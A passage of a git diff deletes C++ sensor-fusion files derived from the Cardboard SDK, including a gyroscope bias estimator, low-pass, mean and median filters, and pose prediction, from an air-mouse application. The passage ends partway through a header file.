under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -#include "gyroscope_bias_estimator.h" - -#include -#include // NOLINT - -#include "../util/rotation.h" -#include "../util/vector.h" - -namespace { - -// Cutoff frequencies in Hertz applied to our various signals, and their -// corresponding filters. -const float kAccelerometerLowPassCutOffFrequencyHz = 1.0f; -const float kRotationVelocityBasedAccelerometerLowPassCutOffFrequencyHz = 0.15f; -const float kGyroscopeLowPassCutOffFrequencyHz = 1.0f; -const float kGyroscopeBiasLowPassCutOffFrequencyHz = 0.15f; - -// Note that MEMS IMU are not that precise. -const double kEpsilon = 1.0e-8; - -// Size of the filtering window for the mean and median filter. The larger the -// windows the larger the filter delay. -const int kFilterWindowSize = 5; - -// Threshold used to compare rotation computed from the accelerometer and the -// gyroscope bias. -const double kRatioBetweenGyroBiasAndAccel = 1.5; - -// The minimum sum of weights we need to acquire before returning a bias -// estimation. -const float kMinSumOfWeightsGyroBiasThreshold = 25.0f; - -// Amount of change in m/s^3 we allow on the smoothed accelerometer values to -// consider the phone static. -const double kAccelerometerDeltaStaticThreshold = 0.5; - -// Amount of change in radians/s^2 we allow on the smoothed gyroscope values to -// consider the phone static. -const double kGyroscopeDeltaStaticThreshold = 0.03; - -// If the gyroscope value is above this threshold, don't update the gyroscope -// bias estimation. This threshold is applied to the magnitude of gyroscope -// vectors in radians/s. -const float kGyroscopeForBiasThreshold = 0.30f; - -// Used to monitor if accelerometer and gyroscope have been static for a few -// frames. -const int kStaticFrameDetectionThreshold = 50; - -// Minimum time step between sensor updates. -const double kMinTimestep = 1; // std::chrono::nanoseconds(1); -} // namespace - -namespace cardboard { - -// A helper class to keep track of whether some signal can be considered static -// over specified number of frames. -class GyroscopeBiasEstimator::IsStaticCounter { -public: - // Initializes a counter with the number of consecutive frames we require - // the signal to be static before IsRecentlyStatic returns true. - // - // @param min_static_frames_threshold number of consecutive frames we - // require the signal to be static before IsRecentlyStatic returns true. - explicit IsStaticCounter(int min_static_frames_threshold) - : min_static_frames_threshold_(min_static_frames_threshold) - , consecutive_static_frames_(0) - { - } - - // Specifies whether the current frame is considered static. - // - // @param is_static static flag for current frame. - void AppendFrame(bool is_static) - { - if (is_static) { - ++consecutive_static_frames_; - } else { - consecutive_static_frames_ = 0; - } - } - - // Returns if static movement is assumed. - bool IsRecentlyStatic() const - { - return consecutive_static_frames_ >= min_static_frames_threshold_; - } - // Resets counter. - void Reset() { consecutive_static_frames_ = 0; } - -private: - const int min_static_frames_threshold_; - int consecutive_static_frames_; -}; - -GyroscopeBiasEstimator::GyroscopeBiasEstimator() - : accelerometer_lowpass_filter_(kAccelerometerLowPassCutOffFrequencyHz) - , simulated_gyroscope_from_accelerometer_lowpass_filter_( - kRotationVelocityBasedAccelerometerLowPassCutOffFrequencyHz) - , gyroscope_lowpass_filter_(kGyroscopeLowPassCutOffFrequencyHz) - , gyroscope_bias_lowpass_filter_(kGyroscopeBiasLowPassCutOffFrequencyHz) - , accelerometer_static_counter_(new IsStaticCounter(kStaticFrameDetectionThreshold)) - , gyroscope_static_counter_(new IsStaticCounter(kStaticFrameDetectionThreshold)) - , current_accumulated_weights_gyroscope_bias_(0.f) - , mean_filter_(kFilterWindowSize) - , median_filter_(kFilterWindowSize) - , last_mean_filtered_accelerometer_value_({ 0, 0, 0 }) -{ - Reset(); -} - -GyroscopeBiasEstimator::~GyroscopeBiasEstimator() { } - -void GyroscopeBiasEstimator::Reset() -{ - accelerometer_lowpass_filter_.Reset(); - gyroscope_lowpass_filter_.Reset(); - gyroscope_bias_lowpass_filter_.Reset(); - accelerometer_static_counter_->Reset(); - gyroscope_static_counter_->Reset(); -} - -void GyroscopeBiasEstimator::ProcessGyroscope( - const Vector3& gyroscope_sample, uint64_t timestamp_ns) -{ - // Update gyroscope and gyroscope delta low-pass filters. - gyroscope_lowpass_filter_.AddSample(gyroscope_sample, timestamp_ns); - - const auto smoothed_gyroscope_delta - = gyroscope_sample - gyroscope_lowpass_filter_.GetFilteredData(); - - gyroscope_static_counter_->AppendFrame( - Length(smoothed_gyroscope_delta) < kGyroscopeDeltaStaticThreshold); - - // Only update the bias if the gyroscope and accelerometer signals have been - // relatively static recently. - if (gyroscope_static_counter_->IsRecentlyStatic() - && accelerometer_static_counter_->IsRecentlyStatic()) { - // Reset static counter when updating the bias fails. - if (!UpdateGyroscopeBias(gyroscope_sample, timestamp_ns)) { - // Bias update fails because of large motion, thus reset the static - // counter. - gyroscope_static_counter_->AppendFrame(false); - } - } else { - // Reset weights, if not static. - current_accumulated_weights_gyroscope_bias_ = 0; - } -} - -void GyroscopeBiasEstimator::ProcessAccelerometer( - const Vector3& accelerometer_sample, uint64_t timestamp_ns) -{ - // Get current state of the filter. - const uint64_t previous_accel_timestamp_ns - = accelerometer_lowpass_filter_.GetMostRecentTimestampNs(); - const bool is_low_pass_filter_init = accelerometer_lowpass_filter_.IsInitialized(); - - // Update accel and accel delta low-pass filters. - accelerometer_lowpass_filter_.AddSample(accelerometer_sample, timestamp_ns); - - const auto smoothed_accelerometer_delta - = accelerometer_sample - accelerometer_lowpass_filter_.GetFilteredData(); - - accelerometer_static_counter_->AppendFrame( - Length(smoothed_accelerometer_delta) < kAccelerometerDeltaStaticThreshold); - - // Rotation from accel cannot be differentiated with only one sample. - if (!is_low_pass_filter_init) { - simulated_gyroscope_from_accelerometer_lowpass_filter_.AddSample({ 0, 0, 0 }, timestamp_ns); - return; - } - - // No need to update the simulated gyroscope at this point because the motion - // is too large. - if (!accelerometer_static_counter_->IsRecentlyStatic()) { - return; - } - - median_filter_.AddSample(accelerometer_lowpass_filter_.GetFilteredData()); - - // This processing can only be started if the buffer is fully initialized. - if (!median_filter_.IsValid()) { - mean_filter_.AddSample(accelerometer_lowpass_filter_.GetFilteredData()); - - // Update the last filtered accelerometer value. - last_mean_filtered_accelerometer_value_ = accelerometer_lowpass_filter_.GetFilteredData(); - return; - } - - mean_filter_.AddSample(median_filter_.GetFilteredData()); - - // Compute a mock gyroscope value from accelerometer. - const int64_t diff = timestamp_ns - previous_accel_timestamp_ns; - const double timestep = static_cast(diff); - - simulated_gyroscope_from_accelerometer_lowpass_filter_.AddSample( - ComputeAngularVelocityFromLatestAccelerometer(timestep), timestamp_ns); - last_mean_filtered_accelerometer_value_ = mean_filter_.GetFilteredData(); -} - -Vector3 GyroscopeBiasEstimator::ComputeAngularVelocityFromLatestAccelerometer(double timestep) const -{ - if (timestep < kMinTimestep) { - return { 0, 0, 0 }; - } - - const auto mean_of_median = mean_filter_.GetFilteredData(); - - // Compute an incremental rotation between the last state and the current - // state. - // - // Note that we switch to double precision here because of precision problem - // with small rotation. - const auto incremental_rotation = Rotation::RotateInto( - Vector3(last_mean_filtered_accelerometer_value_[0], - last_mean_filtered_accelerometer_value_[1], last_mean_filtered_accelerometer_value_[2]), - Vector3(mean_of_median[0], mean_of_median[1], mean_of_median[2])); - - // We use axis angle here because this is how gyroscope values are stored. - Vector3 incremental_rotation_axis; - double incremental_rotation_angle; - incremental_rotation.GetAxisAndAngle(&incremental_rotation_axis, &incremental_rotation_angle); - - incremental_rotation_axis *= incremental_rotation_angle / timestep; - - return { static_cast(incremental_rotation_axis[0]), - static_cast(incremental_rotation_axis[1]), - static_cast(incremental_rotation_axis[2]) }; -} - -bool GyroscopeBiasEstimator::UpdateGyroscopeBias( - const Vector3& gyroscope_sample, uint64_t timestamp_ns) -{ - // Gyroscope values that are too big are potentially dangerous as they could - // originate from slow and steady head rotations. - // - // Therefore we compute an update weight which: - // * favors gyroscope values that are closer to 0 - // * is set to zero if gyroscope values are greater than a threshold. - // - // This way, the gyroscope bias estimation converges faster if the phone is - // flat on a table, as opposed to held up somewhat stationary in the user's - // hands. - - // If magnitude is too big, don't update the filter at all so that we don't - // artificially increase the number of samples accumulated by the filter. - const float gyroscope_sample_norm2 = Length(gyroscope_sample); - if (gyroscope_sample_norm2 >= kGyroscopeForBiasThreshold) { - return false; - } - - float update_weight - = std::max(0.0f, 1 - gyroscope_sample_norm2 / kGyroscopeForBiasThreshold); - update_weight *= update_weight; - gyroscope_bias_lowpass_filter_.AddWeightedSample( - gyroscope_lowpass_filter_.GetFilteredData(), timestamp_ns, update_weight); - - // This counter is only partially valid as the low pass filter drops large - // samples. - current_accumulated_weights_gyroscope_bias_ += update_weight; - - return true; -} - -Vector3 GyroscopeBiasEstimator::GetGyroscopeBias() const -{ - return gyroscope_bias_lowpass_filter_.GetFilteredData(); -} - -bool GyroscopeBiasEstimator::IsCurrentEstimateValid() const -{ - // Remove any bias component along the gravity because they cannot be - // evaluated from accelerometer. - const auto current_gravity_dir = Normalized(last_mean_filtered_accelerometer_value_); - const auto gyro_bias_lowpass = gyroscope_bias_lowpass_filter_.GetFilteredData(); - - const auto off_gravity_gyro_bias - = gyro_bias_lowpass - current_gravity_dir * Dot(gyro_bias_lowpass, current_gravity_dir); - - // Checks that the current bias estimate is not correlated with the - // rotation computed from accelerometer. - const auto gyro_from_accel - = simulated_gyroscope_from_accelerometer_lowpass_filter_.GetFilteredData(); - const bool isGyroscopeBiasCorrelatedWithSimulatedGyro - = (Length(gyro_from_accel) * kRatioBetweenGyroBiasAndAccel - > (Length(off_gravity_gyro_bias) + kEpsilon)); - const bool hasEnoughSamples - = current_accumulated_weights_gyroscope_bias_ > kMinSumOfWeightsGyroBiasThreshold; - const bool areCountersStatic = gyroscope_static_counter_->IsRecentlyStatic() - && accelerometer_static_counter_->IsRecentlyStatic(); - - const bool isStatic - = hasEnoughSamples && areCountersStatic && !isGyroscopeBiasCorrelatedWithSimulatedGyro; - return isStatic; -} - -} // namespace cardboard diff --git a/applications/external/airmouse/tracking/sensors/gyroscope_bias_estimator.h b/applications/external/airmouse/tracking/sensors/gyroscope_bias_estimator.h deleted file mode 100644 index 1a46f96be..000000000 --- a/applications/external/airmouse/tracking/sensors/gyroscope_bias_estimator.h +++ /dev/null @@ -1,134 +0,0 @@ -/* - * Copyright 2019 Google Inc. All Rights Reserved. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -#ifndef CARDBOARD_SDK_SENSORS_GYROSCOPE_BIAS_ESTIMATOR_H_ -#define CARDBOARD_SDK_SENSORS_GYROSCOPE_BIAS_ESTIMATOR_H_ - -#include // NOLINT -#include -#include -#include -#include - -#include "lowpass_filter.h" -#include "mean_filter.h" -#include "median_filter.h" -#include "../util/vector.h" - -namespace cardboard { - -// Class that attempts to estimate the gyroscope's bias. -// Its main idea is that it averages the gyroscope values when the phone is -// considered stationary. -// Usage: A client should call the ProcessGyroscope and ProcessAccelerometer -// methods for every accelerometer and gyroscope sensor sample. This class -// expects these calls to be frequent, i.e., at least at 10 Hz. The client can -// then call GetGyroBias to retrieve the current estimate of the gyroscope bias. -// For best results, the fastest available delay option should be used when -// registering to sensors. Note that this class is not thread-safe. -// -// The filtering applied to the accelerometer to estimate a rotation -// from it follows : -// Baptiste Delporte, Laurent Perroton, Thierry Grandpierre, Jacques Trichet. -// Accelerometer and Magnetometer Based Gyroscope Emulation on Smart Sensor -// for a Virtual Reality Application. Sensor and Transducers Journal, 2012. -// -// which is a combination of a IIR filter, a median and a mean filter. -class GyroscopeBiasEstimator { -public: - GyroscopeBiasEstimator(); - virtual ~GyroscopeBiasEstimator(); - - // Updates the estimator with a gyroscope event. - // - // @param gyroscope_sample the angular speed around the x, y, z axis in - // radians/sec. - // @param timestamp_ns the nanosecond at which the event occurred. Only - // guaranteed to be comparable with timestamps from other PocessGyroscope - // invocations. - virtual void ProcessGyroscope(const Vector3& gyroscope_sample, uint64_t timestamp_ns); - - // Processes accelerometer samples to estimate if device is - // stable or not. - // - // First we filter the accelerometer. This is done with 3 filters. - // - A IIR low-pass filter - // - A median filter - // - A mean filter. - // Then a rotation is computed between consecutive filtered accelerometer - // samples. - // Finally this is converted to a velocity to emulate a gyroscope. - // - // @param accelerometer_sample the acceleration (including gravity) on the x, - // y, z axis in meters/s^2. - // @param timestamp_ns the nanosecond at which the event occurred. Only - // guaranteed to be comparable with timestamps from other - // ProcessAccelerometer invocations. - virtual void ProcessAccelerometer(const Vector3& accelerometer_sample, uint64_t timestamp_ns); - - // Returns the estimated gyroscope bias. - // - // @return Estimated gyroscope bias. A vector with zeros is returned if no - // estimate has been computed. - virtual Vector3 GetGyroscopeBias() const; - - // Resets the estimator state. - void Reset(); - - // Returns true if the current estimate returned by GetGyroscopeBias is - // correct. The device (measured using the sensors) has to be static for this - // function to return true. - virtual bool IsCurrentEstimateValid() const; - -private: - // A helper class to keep track of whether some signal can be considered - // static over specified number of frames. - class IsStaticCounter; - - // Updates gyroscope bias estimation. - // - // @return false if the current sample is too large. - bool UpdateGyroscopeBias(const Vector3& gyroscope_sample, uint64_t timestamp_ns); - - // Returns device angular velocity (rad/s) from the latest accelerometer data. - // - // @param timestep in seconds between the last two samples. - // @return rotation velocity from latest accelerometer. This can be - // interpreted as an gyroscope. - Vector3 ComputeAngularVelocityFromLatestAccelerometer(double timestep) const; - - LowpassFilter accelerometer_lowpass_filter_; - LowpassFilter simulated_gyroscope_from_accelerometer_lowpass_filter_; - LowpassFilter gyroscope_lowpass_filter_; - LowpassFilter gyroscope_bias_lowpass_filter_; - - std::unique_ptr accelerometer_static_counter_; - std::unique_ptr gyroscope_static_counter_; - - // Sum of the weight of sample used for gyroscope filtering. - float current_accumulated_weights_gyroscope_bias_; - - // Set of filters for accelerometer data to estimate a rotation - // based only on accelerometer. - MeanFilter mean_filter_; - MedianFilter median_filter_; - - // Last computed filter accelerometer value used for finite differences. - Vector3 last_mean_filtered_accelerometer_value_; -}; - -} // namespace cardboard - -#endif // CARDBOARD_SDK_SENSORS_GYROSCOPE_BIAS_ESTIMATOR_H_ diff --git a/applications/external/airmouse/tracking/sensors/gyroscope_data.h b/applications/external/airmouse/tracking/sensors/gyroscope_data.h deleted file mode 100644 index 085e85209..000000000 --- a/applications/external/airmouse/tracking/sensors/gyroscope_data.h +++ /dev/null @@ -1,38 +0,0 @@ -/* - * Copyright 2019 Google Inc. All Rights Reserved. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -#ifndef CARDBOARD_SDK_SENSORS_GYROSCOPE_DATA_H_ -#define CARDBOARD_SDK_SENSORS_GYROSCOPE_DATA_H_ - -#include "../util/vector.h" - -namespace cardboard { - -struct GyroscopeData { - // System wall time. - uint64_t system_timestamp; - - // Sensor clock time in nanoseconds. - uint64_t sensor_timestamp_ns; - - // Rate of rotation around the x,y,z axes in rad/s. This follows android - // specification - // (https://developer.android.com/guide/topics/sensors/sensors_overview.html#sensors-coords). - Vector3 data; -}; - -} // namespace cardboard - -#endif // CARDBOARD_SDK_SENSORS_GYROSCOPE_DATA_H_ diff --git a/applications/external/airmouse/tracking/sensors/lowpass_filter.cc b/applications/external/airmouse/tracking/sensors/lowpass_filter.cc deleted file mode 100644 index efadfbf4e..000000000 --- a/applications/external/airmouse/tracking/sensors/lowpass_filter.cc +++ /dev/null @@ -1,84 +0,0 @@ -/* - * Copyright 2019 Google Inc. All Rights Reserved. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -#include "lowpass_filter.h" - -#include - -namespace { - -const double kSecondsFromNanoseconds = 1.0e-9; - -// Minimum time step between sensor updates. This corresponds to 1000 Hz. -const double kMinTimestepS = 0.001f; - -// Maximum time step between sensor updates. This corresponds to 1 Hz. -const double kMaxTimestepS = 1.00f; - -} // namespace - -namespace cardboard { - -LowpassFilter::LowpassFilter(double cutoff_freq_hz) - : cutoff_time_constant_(1 / (2 * (double)M_PI * cutoff_freq_hz)) - , initialized_(false) -{ - Reset(); -} - -void LowpassFilter::AddSample(const Vector3& sample, uint64_t timestamp_ns) -{ - AddWeightedSample(sample, timestamp_ns, 1.0); -} - -void LowpassFilter::AddWeightedSample(const Vector3& sample, uint64_t timestamp_ns, double weight) -{ - if (!initialized_) { - // Initialize filter state - filtered_data_ = { sample[0], sample[1], sample[2] }; - timestamp_most_recent_update_ns_ = timestamp_ns; - initialized_ = true; - return; - } - - if (timestamp_ns < timestamp_most_recent_update_ns_) { - timestamp_most_recent_update_ns_ = timestamp_ns; - return; - } - - const double delta_s = static_cast(timestamp_ns - timestamp_most_recent_update_ns_) - * kSecondsFromNanoseconds; - if (delta_s <= kMinTimestepS || delta_s > kMaxTimestepS) { - timestamp_most_recent_update_ns_ = timestamp_ns; - return; - } - - const double weighted_delta_secs = weight * delta_s; - - const double alpha = weighted_delta_secs / (cutoff_time_constant_ + weighted_delta_secs); - - for (int i = 0; i < 3; ++i) { - filtered_data_[i] = (1 - alpha) * filtered_data_[i] + alpha * sample[i]; - } - timestamp_most_recent_update_ns_ = timestamp_ns; -} - -void LowpassFilter::Reset() -{ - initialized_ = false; - filtered_data_ = { 0, 0, 0 }; -} - -} // namespace cardboard diff --git a/applications/external/airmouse/tracking/sensors/lowpass_filter.h b/applications/external/airmouse/tracking/sensors/lowpass_filter.h deleted file mode 100644 index c4994c425..000000000 --- a/applications/external/airmouse/tracking/sensors/lowpass_filter.h +++ /dev/null @@ -1,81 +0,0 @@ -/* - * Copyright 2019 Google Inc. All Rights Reserved. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -#ifndef CARDBOARD_SDK_SENSORS_LOWPASS_FILTER_H_ -#define CARDBOARD_SDK_SENSORS_LOWPASS_FILTER_H_ - -#include -#include - -#include "../util/vector.h" - -namespace cardboard { - -// Implements an IIR, first order, low pass filter over vectors of the given -// dimension = 3. -// See http://en.wikipedia.org/wiki/Low-pass_filter -class LowpassFilter { -public: - // Initializes a filter with the given cutoff frequency in Hz. - explicit LowpassFilter(double cutoff_freq_hz); - - // Updates the filter with the given sample. Note that samples with - // non-monotonic timestamps and successive samples with a time steps below 1 - // ms or above 1 s are ignored. - // - // @param sample current sample data. - // @param timestamp_ns timestamp associated to this sample in nanoseconds. - void AddSample(const Vector3& sample, uint64_t timestamp_ns); - - // Updates the filter with the given weighted sample. - // - // @param sample current sample data. - // @param timestamp_ns timestamp associated to this sample in nanoseconds. - // @param weight typically a [0, 1] weight factor used when applying a new - // sample. A weight of 1 corresponds to calling AddSample. A weight of 0 - // makes the update no-op. The first initial sample is not affected by - // this. - void AddWeightedSample(const Vector3& sample, uint64_t timestamp_ns, double weight); - - // Returns the filtered value. A vector with zeros is returned if no samples - // have been added. - Vector3 GetFilteredData() const { - return filtered_data_; - } - - // Returns the most recent update timestamp in ns. - uint64_t GetMostRecentTimestampNs() const { - return timestamp_most_recent_update_ns_; - } - - // Returns true when the filter is initialized. - bool IsInitialized() const { - return initialized_; - } - - // Resets filter state. - void Reset(); - -private: - const double cutoff_time_constant_; - uint64_t timestamp_most_recent_update_ns_; - bool initialized_; - - Vector3 filtered_data_; -}; - -} // namespace cardboard - -#endif // CARDBOARD_SDK_SENSORS_LOWPASS_FILTER_H_ diff --git a/applications/external/airmouse/tracking/sensors/mean_filter.cc b/applications/external/airmouse/tracking/sensors/mean_filter.cc deleted file mode 100644 index 02fb8034c..000000000 --- a/applications/external/airmouse/tracking/sensors/mean_filter.cc +++ /dev/null @@ -1,46 +0,0 @@ -/* - * Copyright 2019 Google Inc. All Rights Reserved. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -#include "mean_filter.h" - -namespace cardboard { - -MeanFilter::MeanFilter(size_t filter_size) - : filter_size_(filter_size) -{ -} - -void MeanFilter::AddSample(const Vector3& sample) -{ - buffer_.push_back(sample); - if (buffer_.size() > filter_size_) { - buffer_.pop_front(); - } -} - -bool MeanFilter::IsValid() const { return buffer_.size() == filter_size_; } - -Vector3 MeanFilter::GetFilteredData() const -{ - // Compute mean of the samples stored in buffer_. - Vector3 mean = Vector3::Zero(); - for (auto sample : buffer_) { - mean += sample; - } - - return mean / static_cast(filter_size_); -} - -} // namespace cardboard diff --git a/applications/external/airmouse/tracking/sensors/mean_filter.h b/applications/external/airmouse/tracking/sensors/mean_filter.h deleted file mode 100644 index 6b4956fef..000000000 --- a/applications/external/airmouse/tracking/sensors/mean_filter.h +++ /dev/null @@ -1,48 +0,0 @@ -/* - * Copyright 2019 Google Inc. All Rights Reserved. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -#ifndef CARDBOARD_SDK_SENSORS_MEAN_FILTER_H_ -#define CARDBOARD_SDK_SENSORS_MEAN_FILTER_H_ - -#include - -#include "../util/vector.h" - -namespace cardboard { - -// Fixed window FIFO mean filter for vectors of the given dimension. -class MeanFilter { -public: - // Create a mean filter of size filter_size. - // @param filter_size size of the internal filter. - explicit MeanFilter(size_t filter_size); - - // Add sample to buffer_ if buffer_ is full it drop the oldest sample. - void AddSample(const Vector3& sample); - - // Returns true if buffer has filter_size_ sample, false otherwise. - bool IsValid() const; - - // Returns the mean of values stored in the internal buffer. - Vector3 GetFilteredData() const; - -private: - const size_t filter_size_; - std::deque buffer_; -}; - -} // namespace cardboard - -#endif // CARDBOARD_SDK_SENSORS_MEAN_FILTER_H_ diff --git a/applications/external/airmouse/tracking/sensors/median_filter.cc b/applications/external/airmouse/tracking/sensors/median_filter.cc deleted file mode 100644 index d27c19f47..000000000 --- a/applications/external/airmouse/tracking/sensors/median_filter.cc +++ /dev/null @@ -1,69 +0,0 @@ -/* - * Copyright 2019 Google Inc. All Rights Reserved. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -#include "median_filter.h" - -#include -#include - -#include "../util/vector.h" -#include "../util/vectorutils.h" - -namespace cardboard { - -MedianFilter::MedianFilter(size_t filter_size) - : filter_size_(filter_size) -{ -} - -void MedianFilter::AddSample(const Vector3& sample) -{ - buffer_.push_back(sample); - norms_.push_back(Length(sample)); - if (buffer_.size() > filter_size_) { - buffer_.pop_front(); - norms_.pop_front(); - } -} - -bool MedianFilter::IsValid() const { return buffer_.size() == filter_size_; } - -Vector3 MedianFilter::GetFilteredData() const -{ - std::vector norms(norms_.begin(), norms_.end()); - - // Get median of value of the norms. - std::nth_element(norms.begin(), norms.begin() + filter_size_ / 2, norms.end()); - const float median_norm = norms[filter_size_ / 2]; - - // Get median value based on their norm. - auto median_it = buffer_.begin(); - for (const auto norm : norms_) { - if (norm == median_norm) { - break; - } - ++median_it; - } - - return *median_it; -} - -void MedianFilter::Reset() -{ - buffer_.clear(); - norms_.clear(); -} - -} // namespace cardboard diff --git a/applications/external/airmouse/tracking/sensors/median_filter.h b/applications/external/airmouse/tracking/sensors/median_filter.h deleted file mode 100644 index 9a8e7cfc7..000000000 --- a/applications/external/airmouse/tracking/sensors/median_filter.h +++ /dev/null @@ -1,53 +0,0 @@ -/* - * Copyright 2019 Google Inc. All Rights Reserved. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -#ifndef CARDBOARD_SDK_SENSORS_MEDIAN_FILTER_H_ -#define CARDBOARD_SDK_SENSORS_MEDIAN_FILTER_H_ - -#include - -#include "../util/vector.h" - -namespace cardboard { - -// Fixed window FIFO median filter for vectors of the given dimension = 3. -class MedianFilter { -public: - // Creates a median filter of size filter_size. - // @param filter_size size of the internal filter. - explicit MedianFilter(size_t filter_size); - - // Adds sample to buffer_ if buffer_ is full it drops the oldest sample. - void AddSample(const Vector3& sample); - - // Returns true if buffer has filter_size_ sample, false otherwise. - bool IsValid() const; - - // Returns the median of values store in the internal buffer. - Vector3 GetFilteredData() const; - - // Resets the filter, removing all samples that have been added. - void Reset(); - -private: - const size_t filter_size_; - std::deque buffer_; - // Contains norms of the elements stored in buffer_. - std::deque norms_; -}; - -} // namespace cardboard - -#endif // CARDBOARD_SDK_SENSORS_MEDIAN_FILTER_H_ diff --git a/applications/external/airmouse/tracking/sensors/pose_prediction.cc b/applications/external/airmouse/tracking/sensors/pose_prediction.cc deleted file mode 100644 index baaf844dd..000000000 --- a/applications/external/airmouse/tracking/sensors/pose_prediction.cc +++ /dev/null @@ -1,71 +0,0 @@ -/* - * Copyright 2019 Google Inc. All Rights Reserved. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -#include "pose_prediction.h" - -#include // NOLINT - -#include "../util/logging.h" -#include "../util/vectorutils.h" - -namespace cardboard { - -namespace { - const double kEpsilon = 1.0e-15; -} // namespace - -namespace pose_prediction { - - Rotation GetRotationFromGyroscope(const Vector3& gyroscope_value, double timestep_s) - { - const double velocity = Length(gyroscope_value); - - // When there is no rotation data return an identity rotation. - if (velocity < kEpsilon) { - CARDBOARD_LOGI("PosePrediction::GetRotationFromGyroscope: Velocity really small, " - "returning identity rotation."); - return Rotation::Identity(); - } - // Since the gyroscope_value is a start from sensor transformation we need to - // invert it to have a sensor from start transformation, hence the minus sign. - // For more info: - // http://developer.android.com/guide/topics/sensors/sensors_motion.html#sensors-motion-gyro - return Rotation::FromAxisAndAngle(gyroscope_value / velocity, -timestep_s * velocity); - } - - Rotation PredictPose(int64_t requested_pose_timestamp, const PoseState& current_state) - { - // Subtracting unsigned numbers is bad when the result is negative. - const int64_t diff = requested_pose_timestamp - current_state.timestamp; - const double timestep_s = diff * 1.0e-9; - - const Rotation update = GetRotationFromGyroscope( - current_state.sensor_from_start_rotation_velocity, timestep_s); - return update * current_state.sensor_from_start_rotation; - } - - Rotation PredictPoseInv(int64_t requested_pose_timestamp, const PoseState& current_state) - { - // Subtracting unsigned numbers is bad when the result is negative. - const int64_t diff = requested_pose_timestamp - current_state.timestamp; - const double timestep_s = diff * 1.0e-9; - - const Rotation update = GetRotationFromGyroscope( - current_state.sensor_from_start_rotation_velocity, timestep_s); - return current_state.sensor_from_start_rotation * (-update); - } - -} // namespace pose_prediction -} // namespace cardboard diff --git a/applications/external/airmouse/tracking/sensors/pose_prediction.h b/applications/external/airmouse/tracking/sensors/pose_prediction.h deleted file mode 100644 index 9ab311b33..000000000 --- a/applications/external/airmouse/tracking/sensors/pose_prediction.h +++ /dev/null @@ -1,55 +0,0 @@ -/* - * Copyright 2019 Google Inc. All Rights Reserved. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -#ifndef CARDBOARD_SDK_SENSORS_POSE_PREDICTION_H_ -#define CARDBOARD_SDK_SENSORS_POSE_PREDICTION_H_ - -#include - -#include 